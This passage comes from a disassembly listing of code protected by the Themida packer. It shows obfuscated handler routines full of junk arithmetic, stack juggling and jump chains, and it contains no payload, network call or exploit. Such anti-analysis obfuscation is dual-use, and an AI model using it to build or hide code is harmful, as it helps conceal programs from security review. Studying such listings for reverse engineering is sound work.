[esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi mov esi, 2 sub eax, 5A9366BDh add eax, esi add eax, 5A9366BDh mov esi, [esp] jmp loc_55A99A ; --------------------------------------------------------------------------- loc_556619: ; CODE XREF: Themida_:005562A7j push edi mov edi, 46BF2C28h sub eax, edi pop edi add eax, ecx add eax, 46BF2C28h mov ecx, [esp] add esp, 4 jmp loc_54F989 ; --------------------------------------------------------------------------- lodsb xor al, bl push edi push esp pop edi add edi, 4 sub esp, 4 jmp loc_55525F ; --------------------------------------------------------------------------- loc_55664B: ; CODE XREF: Themida_:00556CFAj add ebx, edi push edi mov edi, 4C9F7274h add ebx, 14400B7Eh sub ebx, edi push ecx mov ecx, 14400B7Eh sub ebx, ecx pop ecx pop edi jmp loc_555267 ; --------------------------------------------------------------------------- loc_55666A: ; CODE XREF: Themida_:00552087j sub ebx, 236D69DCh sub ebx, edx push ecx mov ecx, 0EAE423Ch dec ecx neg ecx add ecx, 70A2759Bh sub ecx, 3E86C984h add ebx, ecx pop ecx push esi push ebx push 6D0F51B6h pop ebx add ebx, 0E5190149h mov esi, ebx pop ebx jmp loc_556A9E ; --------------------------------------------------------------------------- loc_5566A0: ; CODE XREF: Themida_:00554A19j push ebx mov ebx, 3B336DAFh jmp loc_55402D ; --------------------------------------------------------------------------- loc_5566AB: ; CODE XREF: Themida_:005585FBj mov esp, [esp] push esp pop dword ptr [esp] jmp loc_55097C ; --------------------------------------------------------------------------- loc_5566B7: ; CODE XREF: Themida_:0055230Dj mov esi, 7C76684Fh and esi, 2D6F44CAh push 1EAFh jmp loc_5574CD ; --------------------------------------------------------------------------- loc_5566CC: ; CODE XREF: Themida_:00558F8Dj shl ebp, 6 dec ebp sub ebp, 92A1689Bh and edx, ebp pop ebp shl edx, 7 shl edx, 2 push eax mov eax, 200803FCh xor edx, eax pop eax jmp loc_5569E0 ; --------------------------------------------------------------------------- loc_5566ED: ; CODE XREF: Themida_:00559E1Bj add esi, 4 add esi, 4 jmp loc_559CDD ; --------------------------------------------------------------------------- loc_5566FB: ; CODE XREF: Themida_:0054EEB8j push dword ptr [esp] pop ecx jmp loc_553F9F ; --------------------------------------------------------------------------- loc_556704: ; CODE XREF: Themida_:0055A2C3j sub esi, 0CC8C5130h jmp loc_55598F ; --------------------------------------------------------------------------- loc_55670F: ; CODE XREF: Themida_:00556055j push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx jmp loc_553B4E ; --------------------------------------------------------------------------- loc_556728: ; CODE XREF: Themida_:0055472Bj pop ebx add edi, ebx add edi, 5AD6262Fh pop ebx std sub esp, 4 mov [esp], eax mov eax, 0Ah push 4168h mov [esp], ebx jmp loc_55242D ; --------------------------------------------------------------------------- loc_55674B: ; CODE XREF: Themida_:00551D1Fj pop ecx add edi, esi mov esi, [esp] jmp loc_55608C ; --------------------------------------------------------------------------- loc_556756: ; CODE XREF: Themida_:0055B1CBj push esp pop dword ptr [esp] push ebp mov ebp, 4 add [esp+4], ebp mov ebp, [esp] add esp, 4 jmp loc_550925 ; --------------------------------------------------------------------------- loc_556772: ; CODE XREF: Themida_:0054FFD8j and eax, edx mov edx, [esp] push ecx jmp loc_555289 ; --------------------------------------------------------------------------- loc_55677D: ; CODE XREF: Themida_:00555F3Dj pop edi add ebx, ecx push ecx jmp loc_553B72 ; --------------------------------------------------------------------------- mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_557F93 ; --------------------------------------------------------------------------- loc_556797: ; CODE XREF: Themida_:00552434j mov [esp], eax jmp loc_553AFC ; --------------------------------------------------------------------------- loc_55679F: ; CODE XREF: Themida_:0054F98Aj mov ecx, 175938F0h sub ecx, 175938EEh add eax, ecx pop ecx jmp loc_5576FE ; --------------------------------------------------------------------------- loc_5567B2: ; CODE XREF: Themida_:00556EB2j add eax, ecx jmp loc_557971 ; --------------------------------------------------------------------------- loc_5567B9: ; CODE XREF: Themida_:00553CD1j or edi, 7B0F070Ch shr edi, 8 jmp loc_54ECE1 ; --------------------------------------------------------------------------- loc_5567C7: ; CODE XREF: Themida_:0054FD1Bj pop edi add eax, 2 push eax jmp loc_550EF7 ; --------------------------------------------------------------------------- loc_5567D1: ; CODE XREF: Themida_:0055259Ej push dword ptr [esp] pop edi add esp, 4 add edi, 4 jmp loc_556CEB ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5567EE: ; CODE XREF: Themida_:00550730j and dh, 0AAh dec dh sub dh, 96h add bl, dh jmp loc_5590D9 ; --------------------------------------------------------------------------- loc_5567FD: ; CODE XREF: Themida_:0055A08Dj push ecx mov ecx, edx jmp loc_54EEBD ; --------------------------------------------------------------------------- loc_556805: ; CODE XREF: Themida_:00552E72j and edi, 5A723B53h push edx mov edx, 225717F9h jmp loc_555E27 ; --------------------------------------------------------------------------- loc_556816: ; CODE XREF: Themida_:00555C3Dj not ecx jmp loc_54F563 ; --------------------------------------------------------------------------- loc_55681D: ; CODE XREF: Themida_:00556016j pop ebx push esi mov esi, 1820242Eh jmp loc_5512C8 ; --------------------------------------------------------------------------- loc_556829: ; CODE XREF: Themida_:00559BB2j mov eax, 4 add edx, eax mov eax, [esp] add esp, 4 xchg edx, [esp] jmp loc_552A9D ; --------------------------------------------------------------------------- loc_55683E: ; CODE XREF: Themida_:00558131j pop edx push edx mov dh, ah jmp loc_554E68 ; --------------------------------------------------------------------------- loc_556847: ; CODE XREF: Themida_:0054FD07j pop ecx sub edi, esi pop esi push eax mov eax, 5B0C351Ch shr eax, 6 shr eax, 3 inc eax or eax, 3B22112Bh push edx mov edx, 7F5A4C1Ah add eax, edx pop edx add eax, 4782752Bh add ebx, 40EF2DEBh add ebx, eax sub ebx, 40EF2DEBh pop eax sub ebx, edi sub ebx, 20C5880h pop edi push edx mov edx, 71F34D79h inc edx add edx, 12F00265h sub edx, 631CE81Dh add ebx, edx jmp loc_5578DE ; --------------------------------------------------------------------------- loc_55689D: ; CODE XREF: Themida_:00550627j not edi xor edi, 17D46B5h jmp loc_556107 ; --------------------------------------------------------------------------- loc_5568AA: ; CODE XREF: Themida_:00554F38j mov dh, 70h xor dh, bh mov ebx, [esp] add esp, 4 sub al, dh push dword ptr [esp] pop edx jmp loc_55B21E ; --------------------------------------------------------------------------- loc_5568C2: ; CODE XREF: Themida_:00553261j pop esi push 2402h jmp loc_5521D9 ; --------------------------------------------------------------------------- loc_5568CD: ; CODE XREF: Themida_:00559505j add al, 1Dh add al, 0E0h jmp loc_55797A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5568E6: ; CODE XREF: Themida_:00551CEAj pop eax and ebp, 724E74E1h inc ebp jmp loc_5569BA ; --------------------------------------------------------------------------- loc_5568F3: ; CODE XREF: Themida_:00550950j mov ecx, [esp] jmp loc_559B0B ; --------------------------------------------------------------------------- loc_5568FB: ; CODE XREF: Themida_:00559577j push edi jmp loc_54F51F ; --------------------------------------------------------------------------- loc_556901: ; CODE XREF: Themida_:00551CA2j pop eax pop dword ptr [esp] jmp loc_55846F ; --------------------------------------------------------------------------- loc_55690A: ; CODE XREF: Themida_:005505CDj mov eax, ecx mov ecx, [esp] push 0E29h mov [esp], ebp mov ebp, esp add ebp, 4 sub esp, 4 jmp loc_5590F4 ; --------------------------------------------------------------------------- loc_556927: ; CODE XREF: Themida_:00551633j mov [esp], eax push 608A7ADFh pop eax sub eax, 0D49113Ch mov edi, eax push dword ptr [esp] jmp loc_555A1C ; --------------------------------------------------------------------------- loc_55693F: ; CODE XREF: Themida_:00559F0Bj mov ebp, 16D70BD8h xor ebp, 15082EC6h neg ebp sub ebp, 27D17DE4h sub ebp, 3D962943h sub ebp, 96B93397h mov ecx, ebp pop ebp add ecx, 3BC9596Dh jmp loc_557A8F ; --------------------------------------------------------------------------- mov ecx, [esp] push 5151h mov [esp], ecx jmp loc_552636 ; --------------------------------------------------------------------------- loc_55697C: ; CODE XREF: Themida_:00550F46j push ebp mov ebp, 2 push esi mov esi, 117543A8h add esi, 5E02417h jmp loc_553E50 ; --------------------------------------------------------------------------- loc_556993: ; CODE XREF: Themida_:005523BBj mov eax, ecx pop ecx xor ebx, eax pop eax not ebx push ecx jmp loc_5554CB ; --------------------------------------------------------------------------- loc_5569A1: ; CODE XREF: Themida_:0054FDFBj sub ebx, 183934BAh sub ebx, eax add ebx, 183934BAh sub ebx, 26C172F1h jmp loc_551A10 ; --------------------------------------------------------------------------- loc_5569BA: ; CODE XREF: Themida_:005568EEj xor ebp, 77062B0Ch add edi, ebp push dword ptr [esp] pop ebp jmp loc_5509C8 ; --------------------------------------------------------------------------- loc_5569CB: ; CODE XREF: Themida_:0055194Cj shl edx, 2 shr edx, 2 not edx sub edx, 0C57C36A1h sub edi, edx jmp loc_550BC9 ; --------------------------------------------------------------------------- loc_5569E0: ; CODE XREF: Themida_:005566E8j push edx jmp loc_54F94C ; --------------------------------------------------------------------------- loc_5569E6: ; CODE XREF: Themida_:00550353j neg ebp jmp loc_559317 ; --------------------------------------------------------------------------- loc_5569ED: ; CODE XREF: Themida_:00558DBAj mov ecx, 3CB1B5CDh add ecx, ebp pop ebp mov ebx, ecx pop ecx sub dword ptr [esp+4], 3FA87619h add [esp+4], ebx add dword ptr [esp+4], 3FA87619h pop ebx sub [esp], eax sub dword ptr [esp], 5F3D018Ch jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_556A1C: ; CODE XREF: Themida_:00553813j mov ch, 8Ah jmp loc_559DBE ; --------------------------------------------------------------------------- loc_556A23: ; CODE XREF: Themida_:0054F6AEj or edx, ebx pop ebx shr edx, 1 jmp loc_556170 ; --------------------------------------------------------------------------- loc_556A2D: ; CODE XREF: Themida_:0055A745j push ebx mov ebx, 4F036469h or ebx, 267D3A8Eh jmp loc_55A661 ; --------------------------------------------------------------------------- loc_556A3E: ; CODE XREF: Themida_:0054F17Dj add ecx, 4 jmp loc_557C24 ; --------------------------------------------------------------------------- loc_556A49: ; CODE XREF: Themida_:005595CCj pop ebx add esp, 4 jmp loc_55598A ; --------------------------------------------------------------------------- loc_556A52: ; CODE XREF: Themida_:0055795Aj add ecx, 4 push esi mov esi, 4 add ecx, esi jmp loc_55783C ; --------------------------------------------------------------------------- loc_556A65: ; CODE XREF: Themida_:0054ED5Ej push eax jmp loc_55818E ; --------------------------------------------------------------------------- loc_556A6B: ; CODE XREF: Themida_:00552184j mov [esp], ebx pop ecx push 5A40h jmp loc_553117 ; --------------------------------------------------------------------------- xor [esp], ah jmp loc_553C1A ; --------------------------------------------------------------------------- loc_556A81: ; CODE XREF: Themida_:00553A68j pop eax xchg ebx, [esp] pop esp jmp loc_557D39 ; --------------------------------------------------------------------------- loc_556A8B: ; CODE XREF: Themida_:00553DC8j sub edx, eax mov eax, [esp] add esp, 4 add edx, 71101919h jmp loc_5543E7 ; --------------------------------------------------------------------------- loc_556A9E: ; CODE XREF: Themida_:0055669Bj sub esi, 4D27430Fh jmp loc_553B47 ; --------------------------------------------------------------------------- loc_556AA9: ; CODE XREF: Themida_:005563F8j mov [esp], ebx mov ebx, 2BB84187h push ebx mov ebx, 80F16A5h jmp loc_554721 ; --------------------------------------------------------------------------- loc_556ABC: ; CODE XREF: Themida_:00550F11j xor [esp], esi push dword ptr [esp] jmp loc_5551ED ; --------------------------------------------------------------------------- loc_556AC7: ; CODE XREF: Themida_:0055AA1Fj push esi mov esi, 1C3337CFh jmp loc_55A111 ; --------------------------------------------------------------------------- loc_556AD2: ; CODE XREF: Themida_:00559A3Bj mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5573CD ; --------------------------------------------------------------------------- loc_556B00: ; CODE XREF: Themida_:0055A5B3j xor esi, 7B7C7132h mov edx, esi pop esi sub ebx, 7DBF67BFh sub ebx, edx add ebx, 7DBF67BFh pop edx add ebx, 618C44DCh add ebx, eax sub esp, 4 mov [esp], ecx mov ecx, 618C44DCh sub ebx, ecx push dword ptr [esp] pop ecx jmp loc_559E18 ; --------------------------------------------------------------------------- loc_556B36: ; CODE XREF: Themida_:00551B9Bj add edx, eax xor [edx], ebx pop edx jmp loc_550195 ; --------------------------------------------------------------------------- loc_556B40: ; CODE XREF: Themida_:00558EFEj mov edx, ebx mov ebx, [esp] add esp, 4 and eax, edx push dword ptr [esp] pop edx push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_5520A3 ; --------------------------------------------------------------------------- loc_556B62: ; CODE XREF: Themida_:00554B6Aj add [esp+4], ecx pop ecx push esi mov esi, 2B9938BAh sub [esp+4], esi pop esi jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_556B77: ; CODE XREF: Themida_:0054EF36j mov cx, [esp] push ebx push esp jmp loc_558CDD ; --------------------------------------------------------------------------- loc_556B82: ; CODE XREF: Themida_:00558ABDj pop dword ptr [esp] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_556B8A: ; CODE XREF: Themida_:0055521Aj sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], ebp jmp loc_55461D ; --------------------------------------------------------------------------- loc_556B9E: ; CODE XREF: Themida_:0054FE6Aj add edi, 2 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp pop small word ptr [esp] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_556BBC: ; CODE XREF: Themida_:0055AD58j add ecx, edx mov edx, [esp] add esp, 4 sub [esp+4], ecx jmp loc_558A06 ; --------------------------------------------------------------------------- loc_556BD0: ; CODE XREF: Themida_:0055335Cj sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_55946B ; --------------------------------------------------------------------------- loc_556BE0: ; CODE XREF: Themida_:00552F2Aj mov esp, [esp] add [esp], al pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_556BEC: ; CODE XREF: Themida_:00559E87j sub edi, 21637654h add edi, eax jmp loc_550A41 ; --------------------------------------------------------------------------- loc_556BF9: ; CODE XREF: Themida_:0054F100j shl eax, 3 sub eax, 615EC37h jmp loc_5552FB ; --------------------------------------------------------------------------- loc_556C06: ; CODE XREF: Themida_:00552866j inc dh jmp loc_54ED21 ; --------------------------------------------------------------------------- loc_556C0D: ; CODE XREF: Themida_:0054F693j mov eax, 7C470404h push ebp mov ebp, 6D91521Eh or ebp, 38451EF0h shl ebp, 3 or ebp, 361B2A39h not ebp shr ebp, 6 xor ebp, 70B648Eh or eax, ebp pop ebp jmp loc_55AF7F ; --------------------------------------------------------------------------- loc_556C3A: ; CODE XREF: Themida_:005593B3j add edx, eax jmp loc_5503EB ; --------------------------------------------------------------------------- loc_556C41: ; CODE XREF: Themida_:00559EC9j push ebx sub dword ptr [esp], 587A4227h pop edx push ebx jmp loc_55963D ; --------------------------------------------------------------------------- loc_556C50: ; CODE XREF: Themida_:00552AC4j xor esi, 7FC270A7h jmp loc_558F9C ; --------------------------------------------------------------------------- loc_556C5B: ; CODE XREF: Themida_:00559204j push ebx jmp loc_558909 ; --------------------------------------------------------------------------- loc_556C61: ; CODE XREF: Themida_:0055868Fj mov ebx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_557513 ; --------------------------------------------------------------------------- loc_556C74: ; CODE XREF: Themida_:0055AAAEj push ebp jmp loc_552813 ; --------------------------------------------------------------------------- loc_556C7A: ; CODE XREF: Themida_:00552B14j sub ecx, 0FC409E35h add ecx, edi push eax push edx mov edx, 0 mov eax, edx pop edx add eax, ecx add [eax], edx pop eax pop ecx push dword ptr [esp] mov edx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp loc_556CAE: ; CODE XREF: Themida_:0054F93Ej push ebx push dword ptr [esp] pop eax push ebp mov ebp, esp push ecx jmp loc_55291B ; --------------------------------------------------------------------------- loc_556CBC: ; CODE XREF: Themida_:00552A21j mov ebp, 242F74B9h sub edx, ebp pop ebp pop edi push eax mov eax, 2 sub edx, 50F2751Dh add edx, eax add edx, 50F2751Dh jmp loc_55047A ; --------------------------------------------------------------------------- loc_556CDE: ; CODE XREF: Themida_:005522ECj xor edx, 35AE1A1Fh not edx jmp loc_559C4D ; --------------------------------------------------------------------------- loc_556CEB: ; CODE XREF: Themida_:005567E1j push esi jmp loc_554B9B ; --------------------------------------------------------------------------- loc_556CF1: ; CODE XREF: Themida_:00557069j add esp, 4 add ebx, 4C9F7274h jmp loc_55664B ; --------------------------------------------------------------------------- loc_556CFF: ; CODE XREF: Themida_:0054F177j shl dl, 3 jmp loc_54F668 ; --------------------------------------------------------------------------- mov cx, [esp] push 543Fh mov [esp], eax jmp loc_55519E ; --------------------------------------------------------------------------- loc_556D18: ; CODE XREF: Themida_:005592A2j push 6D1Ah jmp loc_552D4F ; --------------------------------------------------------------------------- loc_556D22: ; CODE XREF: Themida_:00557439j mov ebp, 4 mov edi, ebp pop ebp sub ecx, 37B52E4Dh add ecx, edi add ecx, 37B52E4Dh mov edi, [esp] add esp, 4 add ecx, 2 xchg ecx, [esp] jmp loc_5594B1 ; --------------------------------------------------------------------------- loc_556D49: ; CODE XREF: Themida_:0055A780j add ecx, 4 jmp loc_555B23 ; --------------------------------------------------------------------------- loc_556D54: ; CODE XREF: Themida_:005554F0j dec ecx sub ecx, 85666435h sub esi, ecx pop ecx shr esi, 3 push edx mov edx, 5CB07AD9h add esi, edx jmp loc_55255E ; --------------------------------------------------------------------------- loc_556D6E: ; CODE XREF: Themida_:0055353Ej xor eax, 0C3104352h sub edx, 6C2D7D8Dh add edx, eax add edx, 6C2D7D8Dh pop eax xchg edx, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_559EFC ; --------------------------------------------------------------------------- loc_556D91: ; CODE XREF: Themida_:0054FA63j push edx push ecx jmp loc_5596FE ; --------------------------------------------------------------------------- loc_556D98: ; CODE XREF: Themida_:00557221j push edx push esp jmp loc_55074D ; --------------------------------------------------------------------------- loc_556D9F: ; CODE XREF: Themida_:0054F4B8j mov esp, [esp] add esi, 33535AFBh add esi, ebx sub esi, 33535AFBh jmp loc_55AF45 ; --------------------------------------------------------------------------- loc_556DB5: ; CODE XREF: Themida_:0055A980j pop eax pop dword ptr [esp] pop esp add esp, 4 push 3180h mov [esp], ebx jmp loc_54ECBB ; --------------------------------------------------------------------------- loc_556DCD: ; CODE XREF: Themida_:0055A6AFj mov esp, [esp] dec byte ptr [esp] pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_556DD9: ; CODE XREF: Themida_:00559743j pop edi pop dword ptr [esp] mov esp, [esp] and [esp], al pushf jmp loc_55AEFE ; --------------------------------------------------------------------------- loc_556DE9: ; CODE XREF: Themida_:0055B003j mov ecx, 486E3539h jmp loc_557055 ; --------------------------------------------------------------------------- loc_556DF3: ; CODE XREF: Themida_:0055014Fj pop edi or ebx, 6E287A60h add ebx, 8D318249h jmp loc_5522E9 ; --------------------------------------------------------------------------- loc_556E05: ; CODE XREF: Themida_:0054EAFBj mov esp, [esp] mov [esp], ebp mov ebp, esp push ebx mov ebx, 49343875h shl ebx, 5 push eax mov eax, 435F7D05h sub ebx, eax push dword ptr [esp] pop eax jmp loc_558639 ; --------------------------------------------------------------------------- loc_556E27: ; CODE XREF: Themida_:005584B9j add dl, ah pop eax shr dl, 6 or dl, 13h xor dl, 0BBh mov al, dl jmp loc_54ED5A ; --------------------------------------------------------------------------- loc_556E3A: ; CODE XREF: Themida_:0055247Dj pop esp shl word ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_556E45: ; CODE XREF: Themida_:0055297Fj mov [esp], eax push 58E5h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] push ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_556303 ; --------------------------------------------------------------------------- loc_556E78: ; CODE XREF: Themida_:00559B2Ej add eax, 563F4994h or eax, 715B1A41h sub eax, 32F1129Ch mov edi, eax jmp loc_55A9A2 ; --------------------------------------------------------------------------- loc_556E8E: ; CODE XREF: Themida_:00553596j push eax mov eax, 2C3A43E9h xchg eax, esi jmp loc_55897F ; --------------------------------------------------------------------------- loc_556E9A: ; CODE XREF: Themida_:00558612j sub edx, ecx pop ecx shr edx, 8 and edx, 104E637Ch jmp loc_555BD2 ; --------------------------------------------------------------------------- loc_556EAB: ; CODE XREF: Themida_:00554700j inc ecx sub ecx, 2508007Fh jmp loc_5567B2 ; --------------------------------------------------------------------------- loc_556EB7: ; CODE XREF: Themida_:00554A44j mov eax, [esp] add esp, 4 push 4B3Fh mov [esp], ebp push 5C5Bh mov [esp], edx mov edx, 283F01C7h jmp loc_556586 ; --------------------------------------------------------------------------- loc_556EDA: ; CODE XREF: Themida_:00555B70j push esi mov esi, 18DD3542h not esi add esi, 942D3C64h push 5A68h mov [esp], edx jmp loc_5579E7 ; --------------------------------------------------------------------------- loc_556EF5: ; CODE XREF: Themida_:00555DEBj pop esi add esp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_54F865 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5579DA ; --------------------------------------------------------------------------- loc_556F19: ; CODE XREF: Themida_:00554F92j add eax, 0BB75633h add eax, edi sub eax, 0BB75633h pop edi jmp loc_557771 ; --------------------------------------------------------------------------- loc_556F2B: ; CODE XREF: Themida_:00552BE0j sub eax, 12751E7h mov esi, [esp] jmp loc_55A4E6 ; --------------------------------------------------------------------------- loc_556F38: ; CODE XREF: Themida_:0055423Bj push edi mov edi, 28D46D2h mov ebx, edi pop edi jmp loc_553CD6 ; --------------------------------------------------------------------------- loc_556F46: ; CODE XREF: Themida_:00553DBEj mov bl, [esp] push eax jmp loc_554A71 ; --------------------------------------------------------------------------- loc_556F4F: ; CODE XREF: Themida_:00553342j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebx push 4304h jmp loc_559981 ; --------------------------------------------------------------------------- loc_556F69: ; CODE XREF: Themida_:00558EADj push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 2 push ebp push dword ptr [esp+4] pop ebp jmp loc_552007 ; --------------------------------------------------------------------------- loc_556F85: ; CODE XREF: Themida_:0055A343j mov edi, 1029680Eh push ecx mov ecx, 6BFADE82h add edi, ecx pop ecx and ebp, edi pop edi xor ebp, 42DA0BE8h and ebp, 444003BCh jmp loc_5512E5 ; --------------------------------------------------------------------------- loc_556FA7: ; CODE XREF: Themida_:00550977j mov ebx, 323F4AE1h not ebx jmp loc_5531F1 ; --------------------------------------------------------------------------- loc_556FB3: ; CODE XREF: Themida_:0055267Fj inc al not al push edx jmp loc_54F89E ; --------------------------------------------------------------------------- loc_556FBD: ; CODE XREF: Themida_:005502DFj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push 4F2Dh mov [esp], edx push 3578h mov [esp], eax mov eax, 349432F1h push esi mov esi, 27593455h add esi, 7A69735Ah mov edx, esi pop esi sub edx, eax jmp loc_557CDC ; --------------------------------------------------------------------------- loc_556FF4: ; CODE XREF: Themida_:00551562j push ebp push 23AFh jmp loc_550A5E ; --------------------------------------------------------------------------- loc_556FFF: ; CODE XREF: Themida_:00555EB0j mov ecx, [esp] add esp, 4 mov eax, 119E592Ch xor eax, edx pop edx jmp loc_554E15 ; --------------------------------------------------------------------------- loc_557012: ; CODE XREF: Themida_:005547E4j push 124Fh jmp loc_55771A ; --------------------------------------------------------------------------- loc_55701C: ; CODE XREF: Themida_:005544E1j sub esp, 4 jmp loc_551454 ; --------------------------------------------------------------------------- loc_557027: ; CODE XREF: Themida_:0055378Ej xchg esi, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5530EF ; --------------------------------------------------------------------------- loc_557039: ; CODE XREF: Themida_:00558DB2j mov [esp], ecx jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557041: ; CODE XREF: Themida_:00558524j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_555A70 ; --------------------------------------------------------------------------- loc_557055: ; CODE XREF: Themida_:00556DEEj add ebx, 641F4120h add ebx, ecx push edi mov edi, 641F4120h sub ebx, edi pop edi mov ecx, [esp] jmp loc_556CF1 ; --------------------------------------------------------------------------- loc_55706E: ; CODE XREF: Themida_:0054F3C4j mov [esp], edi jmp loc_54F182 ; --------------------------------------------------------------------------- loc_557076: ; CODE XREF: Themida_:0054FA49j add ebp, 368A76BAh sub ebp, 195C2A89h xor esi, ebp pop ebp add edx, esi mov esi, [esp] push edx mov edx, esp jmp loc_55331A ; --------------------------------------------------------------------------- loc_557092: ; CODE XREF: Themida_:005584FBj add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebx push eax mov eax, esp jmp loc_555D01 ; --------------------------------------------------------------------------- loc_5570B1: ; CODE XREF: Themida_:0055B021j mov ebp, 3EBB78E4h mov esi, 0D3B6E748h add esi, ebp jmp loc_55A2EC ; --------------------------------------------------------------------------- loc_5570C2: ; CODE XREF: Themida_:005512F7j add ecx, 7BBB093Ah inc ecx jmp loc_55152A ; --------------------------------------------------------------------------- loc_5570CE: ; CODE XREF: Themida_:0055AEB2j sub esp, 4 mov [esp], esi mov esi, 7C37D7E9h push esi push ebx mov ebx, 2E317E90h jmp loc_553ADD ; --------------------------------------------------------------------------- loc_5570E8: ; CODE XREF: Themida_:00555EF9j push 2714h mov [esp], edi push edx mov edx, 0FC008D4h or edx, 385879EBh jmp loc_55A841 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], edx push ecx jmp loc_55B13B ; --------------------------------------------------------------------------- loc_55710E: ; CODE XREF: Themida_:0054EDC8j add esp, 4 push dword ptr [edi+eax*4] push 582Fh mov [esp], ecx mov ecx, 413B0E27h sub [esp+4], ecx push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebx push 413B0E27h pop ebx add eax, ebx jmp loc_557314 ; --------------------------------------------------------------------------- loc_557157: ; CODE XREF: Themida_:00555762j or [esp], al pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557160: ; CODE XREF: Themida_:00555F7Aj xor ecx, [esp] xor [esp], ecx jmp loc_558617 ; --------------------------------------------------------------------------- loc_55716B: ; CODE XREF: Themida_:00552ACBj dec bl not bl xor bl, 9Ch add dh, 0EEh add dh, bl sub dh, 0EEh pop ebx add dh, 20h jmp loc_557B75 ; --------------------------------------------------------------------------- loc_557183: ; CODE XREF: Themida_:00558A28j shr edx, 1 cmp eax, edx jz loc_55AE10 push edx push 40940940h mov edx, [esp] push 3D72h mov [esp], ecx push esp pop ecx add ecx, 4 push ebp mov ebp, 60792CE9h jmp loc_54F8A4 ; --------------------------------------------------------------------------- loc_5571B1: ; CODE XREF: Themida_:00550EC1j mov esp, [esp] jmp loc_55A521 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_554D62 ; --------------------------------------------------------------------------- loc_5571C1: ; CODE XREF: Themida_:0055301Aj mov [esp], edx mov edx, 5CAE57D8h jmp loc_551B7C ; --------------------------------------------------------------------------- loc_5571CE: ; CODE XREF: Themida_:00559820j add esp, 4 add edx, 2DFD502Ch jmp loc_5559B9 ; --------------------------------------------------------------------------- mov ax, [esp] push 19F7h mov [esp], eax mov eax, esp push esi jmp loc_5565CF ; --------------------------------------------------------------------------- loc_5571F3: ; CODE XREF: Themida_:0055A3C0j mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp] mov esp, [esp] dec cl push ebx mov bl, 9Ch sub cl, bl pop ebx add al, 2 add al, cl jmp loc_55036A ; --------------------------------------------------------------------------- loc_557214: ; CODE XREF: Themida_:0055144Fj not ecx xchg ecx, edi sub esp, 4 mov [esp], eax jmp loc_556D98 ; --------------------------------------------------------------------------- loc_557226: ; CODE XREF: Themida_:0054FCD2j push 1D03h mov [esp], edi mov edi, 68673C15h push 50BCh jmp loc_55600A ; --------------------------------------------------------------------------- loc_55723D: ; CODE XREF: Themida_:005510DFj mov [esp], ebp jmp loc_5582F2 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_553AF7 ; --------------------------------------------------------------------------- loc_55724D: ; CODE XREF: Themida_:005500B8j push eax jmp loc_558A15 ; --------------------------------------------------------------------------- loc_557253: ; CODE XREF: Themida_:00551E49j sub esp, 4 jmp loc_55AE37 ; --------------------------------------------------------------------------- loc_55725B: ; CODE XREF: Themida_:00559EE4j mov dh, bl xchg cl, dh jmp loc_552504 ; --------------------------------------------------------------------------- loc_557264: ; CODE XREF: Themida_:00555D82j xor ecx, 46385D9Dh add esi, ecx pop ecx dec esi and esi, 4A6C2E51h sub esi, 7F0C4A75h xor esi, 811BE39Fh add ebx, esi jmp loc_553417 ; --------------------------------------------------------------------------- loc_557287: ; CODE XREF: Themida_:0054F800j xor edx, 435EE3D9h jmp loc_559E44 ; --------------------------------------------------------------------------- loc_557292: ; CODE XREF: Themida_:00550176j mov esp, [esp] mov ax, [esp] push 22EAh mov [esp], esi sub esp, 4 mov [esp], esp jmp loc_55330D ; --------------------------------------------------------------------------- loc_5572AC: ; CODE XREF: Themida_:005523D4j shr ebp, 7 sub ebp, 0B381E76h jmp loc_5508B0 ; --------------------------------------------------------------------------- loc_5572BA: ; CODE XREF: Themida_:005560B2j xor ecx, 